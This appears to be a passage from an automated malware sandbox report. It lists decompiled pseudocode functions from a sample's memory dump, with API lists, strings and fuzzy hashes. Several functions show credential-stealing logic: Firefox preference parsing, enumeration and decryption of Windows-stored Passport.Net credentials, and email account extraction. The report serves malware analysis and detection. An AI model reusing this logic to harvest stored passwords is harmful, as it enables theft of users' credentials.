                                                                                                              0x004060cf

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClipboardGlobal$AllocCloseDataEmptyLockUnlockmemcpystrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 3116012682-0
                                                                                                              • Opcode ID: e5bd8c8a43ca7d2c4db01fa4e1da57243b9996234b951f9bb1286513fb8d9efd
                                                                                                              • Instruction ID: 7816216ade6a299d8ea944e6e9fe2aa84d769726faeb140b6a28ec5125b6acba
                                                                                                              • Opcode Fuzzy Hash: e5bd8c8a43ca7d2c4db01fa4e1da57243b9996234b951f9bb1286513fb8d9efd
                                                                                                              • Instruction Fuzzy Hash: 0DF0B4375402296BC3102BA0AD4CEDB7B6CEBC8B557028139FB0AD3151EA78592487B9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C530 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 80%
                                                                                                              			E0040C530(void* __eflags, intOrPtr* _a4) {
				int _v8;
				char _v12;
				intOrPtr _v16;
				void _v1029;
				void _v1039;
				char _v1040;
				void _v2063;
				void _v2064;
				void _v3087;
				void _v3088;
				void* __ebx;
				intOrPtr _t53;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t85;
				int _t86;
				void* _t106;
				int _t107;
				int _t111;
				void* _t114;
				void* _t115;
				void* _t116;

				_v1040 = 0;
				memset( &_v1039, 0, 0x3ff);
				_v3088 = 0;
				memset( &_v3087, 0, 0x3ff);
				_v2064 = 0;
				memset( &_v2063, 0, 0x3ff);
				_t116 = _t115 + 0x24;
				_t53 = E00406B74(_a4 + 4);
				_v12 = 0;
				_v16 = _t53;
				_t54 = E00406900(_t53,  &_v1040,  &_v1040,  &_v12);
				if(_t54 != 0) {
					do {
						_t56 = E004069D2(0, "user_pref(\"");
						_pop(_t92);
						if(_t56 != 0) {
							goto L10;
						}
						_push(0x412b10);
						_t60 = 0xb;
						_t14 = E004069D2(_t60) - 0xb; // -11
						_t92 = _t14;
						_v8 = _t92;
						if(_t92 <= 0) {
							goto L10;
						}
						_t85 = E004069D2(_t61 + 1, 0x412b18);
						_t17 = _t85 + 1; // 0x1
						_t106 = E004069D2(_t17, 0x412b10);
						if(_t106 <= 0) {
							_t28 = _t85 + 1; // 0x1
							_t67 = E004069D2(_t28, ")");
							_pop(_t92);
							_t68 = 0xfffffffe;
							_t111 = _t67 + _t68 - _t85;
							if(_t111 <= 0) {
								goto L10;
							}
							_t107 = _v8;
							memcpy( &_v3088,  &_v1029, _t107);
							 *((char*)(_t114 + _t107 - 0xc0c)) = 0;
							_t73 = _t114 + _t85 - 0x40a;
							L9:
							memcpy( &_v2064, _t73, _t111);
							_t92 = _a4;
							_t116 = _t116 + 0x18;
							 *((char*)(_t114 + _t111 - 0x80c)) = 0;
							_t59 =  *((intOrPtr*)( *_a4))( &_v3088,  &_v2064);
							if(_t59 == 0) {
								break;
							}
							goto L10;
						}
						_t20 = _t106 + 1; // 0x1
						_t111 = E004069D2(_t20, 0x412b10) - _t106 - 1;
						_pop(_t92);
						if(_t111 <= 0) {
							goto L10;
						}
						_t86 = _v8;
						memcpy( &_v3088,  &_v1029, _t86);
						 *((char*)(_t114 + _t86 - 0xc0c)) = 0;
						_t73 = _t114 + _t106 - 0x40b;
						goto L9;
						L10:
						_t59 = E00406900(_v16, _t92,  &_v1040,  &_v12);
					} while (_t59 != 0);
					return _t59;
				}
				return _t54;
			}






























                                                                                                              0x0040c54b
                                                                                                              0x0040c551
                                                                                                              0x0040c55f
                                                                                                              0x0040c565
                                                                                                              0x0040c573
                                                                                                              0x0040c579
                                                                                                              0x0040c581
                                                                                                              0x0040c587
                                                                                                              0x0040c596
                                                                                                              0x0040c59c
                                                                                                              0x0040c59f
                                                                                                              0x0040c5a8
                                                                                                              0x0040c5af
                                                                                                              0x0040c5bc
                                                                                                              0x0040c5c3
                                                                                                              0x0040c5c4
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040c5cf
                                                                                                              0x0040c5d2
                                                                                                              0x0040c5df
                                                                                                              0x0040c5df
                                                                                                              0x0040c5e4
                                                                                                              0x0040c5e7
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040c5fe
                                                                                                              0x0040c600
                                                                                                              0x0040c610
                                                                                                              0x0040c61b
                                                                                                              0x0040c661
                                                                                                              0x0040c664
                                                                                                              0x0040c669
                                                                                                              0x0040c66e
                                                                                                              0x0040c671
                                                                                                              0x0040c675
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040c677
                                                                                                              0x0040c689
                                                                                                              0x0040c68e
                                                                                                              0x0040c696
                                                                                                              0x0040c69d
                                                                                                              0x0040c6a6
                                                                                                              0x0040c6ab
                                                                                                              0x0040c6b0
                                                                                                              0x0040c6c1
                                                                                                              0x0040c6c9
                                                                                                              0x0040c6cd
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040c6cd
                                                                                                              0x0040c61d
                                                                                                              0x0040c62a
                                                                                                              0x0040c62d
                                                                                                              0x0040c62e
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040c634
                                                                                                              0x0040c646
                                                                                                              0x0040c64b
                                                                                                              0x0040c653
                                                                                                              0x00000000
                                                                                                              0x0040c6cf
                                                                                                              0x0040c6dd
                                                                                                              0x0040c6e5
                                                                                                              0x00000000
                                                                                                              0x0040c6ec
                                                                                                              0x0040c6f0

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpymemset$strlen$_memicmp
                                                                                                              • String ID: user_pref("
                                                                                                              • API String ID: 765841271-2487180061
                                                                                                              • Opcode ID: 982af1ce4df36f9e7f27790100b248c040b5dee6bd91ee0204a86cb4ecdb3b86
                                                                                                              • Instruction ID: b5bbfaa39c0e48752cfa6ff41fc25d90fc637c7d31dd27b270ce5155e9a91379
                                                                                                              • Opcode Fuzzy Hash: 982af1ce4df36f9e7f27790100b248c040b5dee6bd91ee0204a86cb4ecdb3b86
                                                                                                              • Instruction Fuzzy Hash: A74168B2904118AADB10DB95DCC0EDA77AD9F44314F1046BBE605F7181EA389F49CFA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040559F Relevance: 10.6, APIs: 7, Instructions: 126windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 61%
                                                                                                              			E0040559F(intOrPtr _a4) {
				struct HWND__* _v12;
				signed int _v16;
				int _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				int _v48;
				char* _v52;
				void* _v64;
				void _v319;
				char _v320;
				struct HWND__* _t53;
				intOrPtr* _t59;
				void* _t61;
				intOrPtr _t66;
				void* _t74;
				void* _t80;
				intOrPtr _t81;
				void* _t84;
				intOrPtr _t89;
				short _t91;
				signed int _t94;
				short* _t95;
				void* _t96;
				void* _t97;

				_t89 = _a4;
				_t53 = GetDlgItem( *(_t89 + 4), 0x3e9);
				_v12 = _t53;
				SendMessageA(_t53, 0x1009, 0, 0);
				SendMessageA(_v12, 0x1036, 0, 0x26);
				do {
				} while (SendMessageA(_v12, 0x101c, 0, 0) != 0);
				_push(0xc8);
				_push(0);
				_push(0);
				_push(_v12);
				_t80 = 6;
				E00404925(0x412466, _t80);
				_t59 =  *((intOrPtr*)(_t89 + 0xc));
				_t81 =  *((intOrPtr*)(_t59 + 4));
				_t97 = _t96 + 0x10;
				_v32 = _t81;
				_v28 =  *_t59;
				_v20 = 0;
				if(_t81 <= 0) {
					L10:
					_t61 = 2;
					E004048B6(_t61, _v12, 0, _t61);
					return SetFocus(_v12);
				} else {
					goto L3;
				}
				do {
					L3:
					_v16 = 0;
					_v24 = 0;
					do {
						_t94 = _v16 << 2;
						if( *((short*)(_v28 + _t94 + 2)) == _v20) {
							_v320 = 0;
							memset( &_v319, 0, 0xff);
							_t97 = _t97 + 0xc;
							_v52 =  &_v320;
							_v64 = 4;
							_v48 = 0xff;
							if(SendMessageA( *( *((intOrPtr*)(_a4 + 0xc)) + 8), 0x1019, _v16,  &_v64) != 0) {
								_push(_v16);
								_push(0);
								_push(_v12);
								_t84 = 5;
								_t74 = E0040496E( &_v320, _t84);
								_t95 = _t94 + _v28;
								_t91 =  *_t95;
								E00404CE9(_v12, _t74, 0 | _t91 > 0x00000000);
								_t97 = _t97 + 0x18;
								if(_t91 == 0) {
									 *_t95 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10)) + _v24 + 0xc));
								}
							}
						}
						_v16 = _v16 + 1;
						_t66 = _v32;
						_v24 = _v24 + 0x14;
					} while (_v16 < _t66);
					_v20 = _v20 + 1;
				} while (_v20 < _t66);
				goto L10;
			}




























                                                                                                              0x004055ab
                                                                                                              0x004055b6
                                                                                                              0x004055cc
                                                                                                              0x004055cf
                                                                                                              0x004055dc
                                                                                                              0x004055de
                                                                                                              0x004055ea
                                                                                                              0x004055ee
                                                                                                              0x004055f3
                                                                                                              0x004055f4
                                                                                                              0x004055f5
                                                                                                              0x004055ff
                                                                                                              0x00405600
                                                                                                              0x00405605
                                                                                                              0x00405608
                                                                                                              0x0040560d
                                                                                                              0x00405612
                                                                                                              0x00405615
                                                                                                              0x00405618
                                                                                                              0x0040561b
                                                                                                              0x004056f5
                                                                                                              0x004056f7
                                                                                                              0x004056fd
                                                                                                              0x00405712
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00405621
                                                                                                              0x00405621
                                                                                                              0x00405621
                                                                                                              0x00405624
                                                                                                              0x00405627
                                                                                                              0x0040562d
                                                                                                              0x00405638
                                                                                                              0x0040564c
                                                                                                              0x00405652
                                                                                                              0x00405660
                                                                                                              0x00405669
                                                                                                              0x00405673
                                                                                                              0x00405680
                                                                                                              0x0040568b
                                                                                                              0x0040568d
                                                                                                              0x00405696
                                                                                                              0x00405697
                                                                                                              0x0040569c
                                                                                                              0x0040569d
                                                                                                              0x004056a5
                                                                                                              0x004056a7
                                                                                                              0x004056b9
                                                                                                              0x004056be
                                                                                                              0x004056c3
                                                                                                              0x004056d3
                                                                                                              0x004056d3
                                                                                                              0x004056c3
                                                                                                              0x0040568b
                                                                                                              0x004056d6
                                                                                                              0x004056d9
                                                                                                              0x004056dc
                                                                                                              0x004056e0
                                                                                                              0x004056e9
                                                                                                              0x004056ec
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessageSend$FocusItemmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 4281309102-0
                                                                                                              • Opcode ID: 373d2b268ded57f609baf290f43656ad992e230c838bd3448275ee254fe81e2e
                                                                                                              • Instruction ID: c9ec69d2b7f122f2474fbd4df523f5fea2365e5f162f49a3354b930d279265bd
                                                                                                              • Opcode Fuzzy Hash: 373d2b268ded57f609baf290f43656ad992e230c838bd3448275ee254fe81e2e
                                                                                                              • Instruction Fuzzy Hash: 304126B5D00109AFDB209F99DC81DAEBBB9FF04348F00846AE918B7291D7759E50CFA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D5DB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 97stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 64%
                                                                                                              			E0040D5DB(char* __ebx, void* __eflags) {
				char _v8;
				short* _v12;
				int _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				int _v56;
				char _v60;
				char _v584;
				void* __edi;
				void* __esi;
				void* _t36;
				intOrPtr _t44;
				void* _t47;
				char _t63;
				int _t69;
				void* _t74;

				_t74 = __eflags;
				_t69 = 0;
				E004046D7( &_v584);
				_v60 = 0;
				_v56 = 0;
				_t36 = E00404647( &_v60, 0, _t74);
				_t75 = _t36;
				if(_t36 != 0 && E004047A0( &_v584, _t75) != 0) {
					_push( &_v8);
					_push(0);
					_push(4);
					_push("Passport.Net\\*");
					if(_v52() != 0) {
						_t44 = _v8;
						if( *((intOrPtr*)(_t44 + 0x30)) != 0 &&  *((intOrPtr*)(_t44 + 0x18)) > 0) {
							_v32 =  *((intOrPtr*)(_t44 + 0x18));
							_v28 =  *((intOrPtr*)(_t44 + 0x1c));
							_t47 = 0;
							_t63 = 0x4a;
							do {
								_t14 = _t47 + L"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; // 0x320038
								 *(_t47 + 0x417768) =  *_t14 << 2;
								_t47 = _t47 + 2;
							} while (_t47 < _t63);
							_v24 = _t63;
							_v20 = 0x417768;
							if(E00404811( &_v584,  &_v32,  &_v24,  &_v16) != 0) {
								if(WideCharToMultiByte(0, 0, _v12, _v16,  &(__ebx[0x100]), 0xff, 0, 0) > 0 && strlen( *(_v8 + 0x30)) < 0xff) {
									strcpy(__ebx,  *(_v8 + 0x30));
									_t69 = 1;
								}
								LocalFree(_v12);
							}
							_t44 = _v8;
						}
						_v48(_t44);
					}
				}
				E004046C2( &_v60);
				E004047F1( &_v584);
				return _t69;
			}























                                                                                                              0x0040d5db
                                                                                                              0x0040d5ec
                                                                                                              0x0040d5ee
                                                                                                              0x0040d5f6
                                                                                                              0x0040d5f9
                                                                                                              0x0040d5fc
                                                                                                              0x0040d601
                                                                                                              0x0040d603
                                                                                                              0x0040d619
                                                                                                              0x0040d61a
                                                                                                              0x0040d61b
                                                                                                              0x0040d61d
                                                                                                              0x0040d627
                                                                                                              0x0040d62d
                                                                                                              0x0040d633
                                                                                                              0x0040d645
                                                                                                              0x0040d64d
                                                                                                              0x0040d650
                                                                                                              0x0040d652
                                                                                                              0x0040d653
                                                                                                              0x0040d653
                                                                                                              0x0040d65e
                                                                                                              0x0040d666
                                                                                                              0x0040d667
                                                                                                              0x0040d67d
                                                                                                              0x0040d680
                                                                                                              0x0040d68e
                                                                                                              0x0040d6af
                                                                                                              0x0040d6c8
                                                                                                              0x0040d6d1
                                                                                                              0x0040d6d1
                                                                                                              0x0040d6d5
                                                                                                              0x0040d6d5
                                                                                                              0x0040d6db
                                                                                                              0x0040d6db
                                                                                                              0x0040d6df
                                                                                                              0x0040d6df
                                                                                                              0x0040d627
                                                                                                              0x0040d6e5
                                                                                                              0x0040d6f0
                                                                                                              0x0040d6fa

                                                                                                              APIs
                                                                                                                • Part of subcall function 004046D7: strcpy.MSVCRT ref: 00404726
                                                                                                                • Part of subcall function 00404647: LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404654
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(00000000,CredReadA,00000000), ref: 0040466D
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredFree), ref: 00404679
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00404685
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00404691
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 0040469D
                                                                                                                • Part of subcall function 004047A0: LoadLibraryA.KERNEL32(?), ref: 004047A8
                                                                                                                • Part of subcall function 004047A0: GetProcAddress.KERNEL32(00000000,?), ref: 004047C0
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,000000FF,00000000,00000000,?,?,00000001), ref: 0040D6A7
                                                                                                              • strlen.MSVCRT ref: 0040D6B7
                                                                                                              • strcpy.MSVCRT(?,?), ref: 0040D6C8
                                                                                                              • LocalFree.KERNEL32(?), ref: 0040D6D5
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$LibraryLoadstrcpy$ByteCharFreeLocalMultiWidestrlen
                                                                                                              • String ID: Passport.Net\*$hwA
                                                                                                              • API String ID: 3335197805-2625321100
                                                                                                              • Opcode ID: 681d14a731c87845a5ac1aff75d07a7c211cae895baa553a1b5e579bb43f8a69
                                                                                                              • Instruction ID: 2e6419ae4a5a1056fcde8d8ccc48918818cbcf4cd0f285746335566170a6875e
                                                                                                              • Opcode Fuzzy Hash: 681d14a731c87845a5ac1aff75d07a7c211cae895baa553a1b5e579bb43f8a69
                                                                                                              • Instruction Fuzzy Hash: D4315C76D00109ABCB10EF96D9449EEB7BDEF84300F10047AF605E7291DB399A45CB68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407EFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77windowstringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 41%
                                                                                                              			E00407EFB(void* __ecx, void* __eflags, struct tagMENUITEMINFOA _a4, struct HMENU__* _a8, intOrPtr _a12, int _a20, intOrPtr _a24, char* _a40, int _a44, char _a52, void _a53) {
				int _v0;
				int _t26;
				char* _t32;
				int _t44;
				signed int _t46;
				signed int _t47;

				_t38 = __ecx;
				_t47 = _t46 & 0xfffffff8;
				E004118A0(0x1040, __ecx);
				_t26 = GetMenuItemCount(_a8);
				_t44 = 0;
				_v0 = _t26;
				if(_t26 <= 0) {
					L13:
					return _t26;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a53, 0, 0x1000);
					_t47 = _t47 + 0xc;
					_a40 =  &_a52;
					_a4.cbSize = 0x30;
					_a8 = 0x36;
					_a44 = 0x1000;
					_a20 = 0;
					_a52 = 0;
					_t26 = GetMenuItemInfoA(_a8, _t44, 1,  &_a4);
					if(_t26 == 0) {
						goto L12;
					}
					if(_a52 == 0) {
						L10:
						_t55 = _a24;
						if(_a24 != 0) {
							_push(0);
							_push(_a24);
							_push(_a4.cbSize);
							_t26 = E00407EFB(_t38, _t55);
							_t47 = _t47 + 0xc;
						}
						goto L12;
					}
					_t32 = strchr( &_a52, 9);
					if(_t32 != 0) {
						 *_t32 = 0;
					}
					_t33 = _a20;
					if(_a24 != 0) {
						if(_a12 == 0) {
							 *0x4171b4 =  *0x4171b4 + 1;
							_t33 =  *0x4171b4 + 0x11558;
							__eflags =  *0x4171b4 + 0x11558;
						} else {
							_t18 = _t44 + 0x11171; // 0x11171
							_t33 = _t18;
						}
					}
					_t26 = E00407EC3(_t33,  &_a52);
					_pop(_t38);
					goto L10;
					L12:
					_t44 = _t44 + 1;
				} while (_t44 < _v0);
				goto L13;
			}









                                                                                                              0x00407efb
                                                                                                              0x00407efe
                                                                                                              0x00407f06
                                                                                                              0x00407f10
                                                                                                              0x00407f18
                                                                                                              0x00407f1c
                                                                                                              0x00407f20
                                                                                                              0x00407fe5
                                                                                                              0x00407fea
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00407f26
                                                                                                              0x00407f26
                                                                                                              0x00407f31
                                                                                                              0x00407f36
                                                                                                              0x00407f3d
                                                                                                              0x00407f4c
                                                                                                              0x00407f54
                                                                                                              0x00407f5c
                                                                                                              0x00407f64
                                                                                                              0x00407f68
                                                                                                              0x00407f6c
                                                                                                              0x00407f74
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00407f7a
                                                                                                              0x00407fc4
                                                                                                              0x00407fc4
                                                                                                              0x00407fc8
                                                                                                              0x00407fca
                                                                                                              0x00407fcb
                                                                                                              0x00407fcf
                                                                                                              0x00407fd2
                                                                                                              0x00407fd7
                                                                                                              0x00407fd7
                                                                                                              0x00000000
                                                                                                              0x00407fc8
                                                                                                              0x00407f83
                                                                                                              0x00407f8c
                                                                                                              0x00407f8e
                                                                                                              0x00407f8e
                                                                                                              0x00407f94
                                                                                                              0x00407f98
                                                                                                              0x00407f9d
                                                                                                              0x00407fa7
                                                                                                              0x00407fb2
                                                                                                              0x00407fb2
                                                                                                              0x00407f9f
                                                                                                              0x00407f9f
                                                                                                              0x00407f9f
                                                                                                              0x00407f9f
                                                                                                              0x00407f9d
                                                                                                              0x00407fbd
                                                                                                              0x00407fc3
                                                                                                              0x00000000
                                                                                                              0x00407fda
                                                                                                              0x00407fda
                                                                                                              0x00407fdb
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ItemMenu$CountInfomemsetstrchr
                                                                                                              • String ID: 0$6
                                                                                                              • API String ID: 2300387033-3849865405
                                                                                                              • Opcode ID: d1119da1829f27f5b6955e53606e2fca4aef30ff8dacb709f4e7d2ab8ff52e08
                                                                                                              • Instruction ID: e6a74f55cf859b5146a282672b091174d688b167a10cd96a0b5acbf0203f559b
                                                                                                              • Opcode Fuzzy Hash: d1119da1829f27f5b6955e53606e2fca4aef30ff8dacb709f4e7d2ab8ff52e08
                                                                                                              • Instruction Fuzzy Hash: B821917190C381AFD7109F21D88199BBBE8FB84348F44897FF68496290E779E944CB5B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004044DA Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 75COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 66%
                                                                                                              			E004044DA(intOrPtr __ecx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v280;
				char _v408;
				intOrPtr _v412;
				char _v668;
				char _v796;
				intOrPtr _v800;
				char _v928;
				char _v940;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t44;
				intOrPtr _t50;
				void* _t56;
				intOrPtr _t58;
				void* _t63;

				_t63 = __fp0;
				_t50 = __ecx;
				_v8 = __ecx;
				E004021D8( &_v940);
				_t58 = _a4;
				_v800 =  *((intOrPtr*)(_t50 + 0xd6c));
				_push(_t58 + 0x404);
				_t44 = 0x7f;
				E004060D0(_t44,  &_v796);
				E004060D0(_t44,  &_v408, _t58 + 0x204);
				E004060D0(_t44,  &_v928, _t58 + 4);
				E004060D0(_t44,  &_v668, _t58 + 0x104);
				_t37 = E004060D0(_t44,  &_v280, _t58 + 0x304);
				_t56 = _t58 + 0x504;
				_push("pop3");
				_push(_t56);
				L004115B2();
				if(_t37 != 0) {
					_push("imap");
					_push(_t56);
					L004115B2();
					if(_t37 != 0) {
						_push("smtp");
						_push(_t56);
						L004115B2();
						if(_t37 == 0) {
							_v412 = 4;
						}
					} else {
						_v412 = 2;
					}
				} else {
					_v412 = 1;
				}
				_v24 =  *((intOrPtr*)(_t58 + 0x804));
				_v20 =  *((intOrPtr*)(_t58 + 0x808));
				return E00402407( &_v940, _t63, _v8 + 0xfffffe38);
			}























                                                                                                              0x004044da
                                                                                                              0x004044e6
                                                                                                              0x004044ee
                                                                                                              0x004044f1
                                                                                                              0x004044fc
                                                                                                              0x004044ff
                                                                                                              0x0040450b
                                                                                                              0x0040450e
                                                                                                              0x00404515
                                                                                                              0x00404527
                                                                                                              0x00404536
                                                                                                              0x00404548
                                                                                                              0x0040455a
                                                                                                              0x0040455f
                                                                                                              0x00404565
                                                                                                              0x0040456a
                                                                                                              0x0040456b
                                                                                                              0x00404575
                                                                                                              0x00404583
                                                                                                              0x00404588
                                                                                                              0x00404589
                                                                                                              0x00404592
                                                                                                              0x004045a0
                                                                                                              0x004045a5
                                                                                                              0x004045a6
                                                                                                              0x004045af
                                                                                                              0x004045b1
                                                                                                              0x004045b1
                                                                                                              0x00404594
                                                                                                              0x00404594
                                                                                                              0x00404594
                                                                                                              0x00404577
                                                                                                              0x00404577
                                                                                                              0x00404577
                                                                                                              0x004045c1
                                                                                                              0x004045ca
                                                                                                              0x004045e5

                                                                                                              APIs
                                                                                                                • Part of subcall function 004060D0: strlen.MSVCRT ref: 004060D5
                                                                                                                • Part of subcall function 004060D0: memcpy.MSVCRT ref: 004060EA
                                                                                                              • _stricmp.MSVCRT(?,pop3,?,?,?,?,?), ref: 0040456B
                                                                                                              • _stricmp.MSVCRT(?,imap), ref: 00404589
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _stricmp$memcpystrlen
                                                                                                              • String ID: imap$pop3$smtp
                                                                                                              • API String ID: 445763297-821077329
                                                                                                              • Opcode ID: e0dbfd60aaecd0c77e478752a73cf595843bbe096482dfa5d8f178f066783ef1
                                                                                                              • Instruction ID: 85134e65636b23d23915c58aa006eeb0f313b09a76600224a93e2cbe40a0dcf5
                                                                                                              • Opcode Fuzzy Hash: e0dbfd60aaecd0c77e478752a73cf595843bbe096482dfa5d8f178f066783ef1
                                                                                                              • Instruction Fuzzy Hash: 8F2174B2500318ABC711DB61CD41BDBB3FDAF50314F10056BE64AB3181DBB87B858B9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040684D Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 62stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040684D(char* __ebx, intOrPtr _a4, int _a8) {
				char _v8;
				void _v1031;
				void _v1032;
				void* _t26;
				char* _t27;
				int _t32;
				int _t38;
				char* _t43;
				int _t44;
				void* _t45;
				void** _t48;
				void* _t50;
				void* _t51;

				_t43 = __ebx;
				_t44 = 0;
				_v1032 = 0;
				memset( &_v1031, 0, 0x3ff);
				_t26 = _a8;
				_t51 = _t50 + 0xc;
				 *__ebx = 0;
				if(_t26 > 0) {
					_t48 = _a4 + 4;
					_v8 = _t26;
					do {
						sprintf( &_v1032, "%s (%s)",  *((intOrPtr*)(_t48 - 4)),  *_t48);
						_t32 = strlen( &_v1032);
						_a8 = _t32;
						memcpy(_t44 + __ebx,  &_v1032, _t32 + 1);
						_t45 = _t44 + _a8 + 1;
						_t38 = strlen( *_t48);
						_a8 = _t38;
						memcpy(_t45 + __ebx,  *_t48, _t38 + 1);
						_t51 = _t51 + 0x30;
						_t48 =  &(_t48[2]);
						_t18 =  &_v8;
						 *_t18 = _v8 - 1;
						_t44 = _t45 + _a8 + 1;
					} while ( *_t18 != 0);
				}
				_t27 = _t44 + _t43;
				 *_t27 = 0;
				 *((char*)(_t27 + 1)) = 0;
				return _t43;
			}
















                                                                                                              0x0040684d
                                                                                                              0x0040685c
                                                                                                              0x00406866
                                                                                                              0x0040686d
                                                                                                              0x00406872
                                                                                                              0x00406875
                                                                                                              0x0040687a
                                                                                                              0x0040687d
                                                                                                              0x00406883
                                                                                                              0x00406886
                                                                                                              0x00406889
                                                                                                              0x0040689a
                                                                                                              0x004068a6
                                                                                                              0x004068ab
                                                                                                              0x004068bb
                                                                                                              0x004068c5
                                                                                                              0x004068c9
                                                                                                              0x004068ce
                                                                                                              0x004068d9
                                                                                                              0x004068e1
                                                                                                              0x004068e4
                                                                                                              0x004068e7
                                                                                                              0x004068e7
                                                                                                              0x004068ea
                                                                                                              0x004068ea
                                                                                                              0x004068f0
                                                                                                              0x004068f1
                                                                                                              0x004068f4
                                                                                                              0x004068f7
                                                                                                              0x004068ff

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
